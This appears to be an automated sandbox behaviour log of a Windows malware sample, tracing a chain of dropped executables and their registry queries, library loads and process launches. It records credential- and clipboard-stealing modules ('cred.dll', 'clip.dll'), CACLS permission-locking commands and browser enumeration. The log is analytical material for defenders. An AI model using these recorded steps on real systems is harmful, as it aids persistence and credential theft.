"4EM873Jt.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "4EM873Jt.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4EM873Jt.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4EM873Jt.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "4EM873Jt.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "4EM873Jt.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4EM873Jt.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "")2f:Tbc1,"1wL27Vk7.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP006.TMP\1wL27Vk7.exe" at 00000000-00001784-0000010C-604772 "2hc1372.exe" queries volume information of "C:\" at 00000000-00002864-0000010C-136060 "4EM873Jt.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\4EM873Jt.exe" at 00000000-00002148-0000010C-515956 "4EM873Jt.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00002148-0000010C-2471404 "4EM873Jt.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00002148-0000010C-2480874 "4EM873Jt.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00002148-0000010C-3508542 "4EM873Jt.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00002148-0000010C-3521075 "4EM873Jt.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002148-0000010C-4285882 "AppLaunch.exe" queries volume information of "C:\" at 00000000-00002572-0000010C-297462 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\fefffe8cea\explothe.exe" at 00000000-00001756-0000010C-3393772 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00001756-0000010C-7631100 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00001756-0000010C-7633908 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00001756-0000010C-9647059 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00001756-0000010C-9649944 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00000784-0000010C-1154654 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00000784-0000010C-3216276 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00000784-0000010C-3221950 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000784-0000010C-520616530:T45f,"1wL27Vk7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "2hc1372.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "4EM873Jt.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "6Hy9qE9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "explothe.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "schtasks.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "8Am5oO69.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")31:T6ef,"4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "4EM873Jt.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION")32:T87e,"2hc1372.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002864) "2hc1372.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00002864) "2hc1372.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00002864) "2hc1372.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002864) "2hc1372.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00002864) "2hc1372.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00002864) "4EM873Jt.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002148) "4EM873Jt.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002148) "4EM873Jt.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\SystemCache (UID: 00000000-00002148) "AppLaunch.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002572) "AppLaunch.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00002572) "AppLaunch.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00002572) "AppLaunch.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002572) "AppLaunch.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00002572) "AppLaunch.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00002572) "6Hy9qE9.exe" called "CreateDirectoryA" with parameter %TEMP%\fefffe8cea (UID: 00000000-00003728) "6Hy9qE9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003728) "explothe.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00001756) "explothe.exe" called "CreateDirectoryA" with parameter %APPDATA%\006700e5a2ab05 (UID: 00000000-00001756)33:T920,"file.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\aW5Tb54.exe" - (UID: 00000000-00002592) "file.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\8Am5oO69.exe" - (UID: 00000000-00002592) "aW5Tb54.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\op9Jo62.exe" - (UID: 00000000-00000176) "aW5Tb54.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\7GY0fl42.exe" - (UID: 00000000-00000176) "op9Jo62.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\zt7vg41.exe" - (UID: 00000000-00002548) "op9Jo62.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\6Hy9qE9.exe" - (UID: 00000000-00002548) "zt7vg41.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\ss3vj64.exe" - (UID: 00000000-00003412) "zt7vg41.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\5tc7lo6.exe" - (UID: 00000000-00003412) "ss3vj64.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\Gj9uC90.exe" - (UID: 00000000-00002168) "ss3vj64.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\4EM873Jt.exe" - (UID: 00000000-00002168) "Gj9uC90.exe" called "CreateProcessA" with parameter "%TEMP%\IXP005.TMP\dm8Sa10.exe" - (UID: 00000000-00003716) "Gj9uC90.exe" called "CreateProcessA" with parameter "%TEMP%\IXP005.TMP\3di89sk.exe" - (UID: 00000000-00003716) "dm8Sa10.exe" called "CreateProcessA" with parameter "%TEMP%\IXP006.TMP\1wL27Vk7.exe" - (UID: 00000000-00000984) "dm8Sa10.exe" called "CreateProcessA" with parameter "%TEMP%\IXP006.TMP\2hc1372.exe" - (UID: 00000000-00000984) "cmd.exe" called "CreateProcessW" with parameter "CACLS "explothe.exe" /P "%OSUSER%:N"" - (UID: 00000000-00002732) "cmd.exe" called "CreateProcessW" with parameter "CACLS "explothe.exe" /P "%OSUSER%:R" /E" - (UID: 00000000-00002732) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /S /D /c" echo Y"" - (UID: 00000000-00002732) "cmd.exe" called "CreateProcessW" with parameter "CACLS "..\fefffe8cea" /P "%OSUSER%:N"" - (UID: 00000000-00002732) "cmd.exe" called "CreateProcessW" with parameter "CACLS "..\fefffe8cea" /P "%OSUSER%:R" /E" - (UID: 00000000-00002732) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.facebook.com/login" - (UID: 00000000-00002068)34:Tafd9,"file.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002592) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002592) "file.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002592) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002592) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002592) "aW5Tb54.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000176) "aW5Tb54.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000176) "aW5Tb54.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000176) "aW5Tb54.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000176) "aW5Tb54.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00000176) "op9Jo62.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002548) "op9Jo62.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002548) "op9Jo62.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002548) "op9Jo62.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002548) "op9Jo62.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002548) "zt7vg41.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003412) "zt7vg41.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003412) "zt7vg41.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003412) "zt7vg41.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003412) "zt7vg41.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003412) "ss3vj64.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002168) "ss3vj64.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002168) "ss3vj64.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002168) "ss3vj64.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002168) "ss3vj64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002168) "Gj9uC90.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003716) "dm8Sa10.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000984) "dm8Sa10.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000984) "dm8Sa10.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000984) "dm8Sa10.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000984) "dm8Sa10.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00000984) "1wL27Vk7.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001784) "1wL27Vk7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00001784) "2hc1372.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00002864) "2hc1372.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002864) "3di89sk.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003188) "3di89sk.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003188) "3di89sk.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003188) "3di89sk.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003188) "3di89sk.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00003188) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002432) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002432) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002432) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002432) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter CRYPTSP.dll 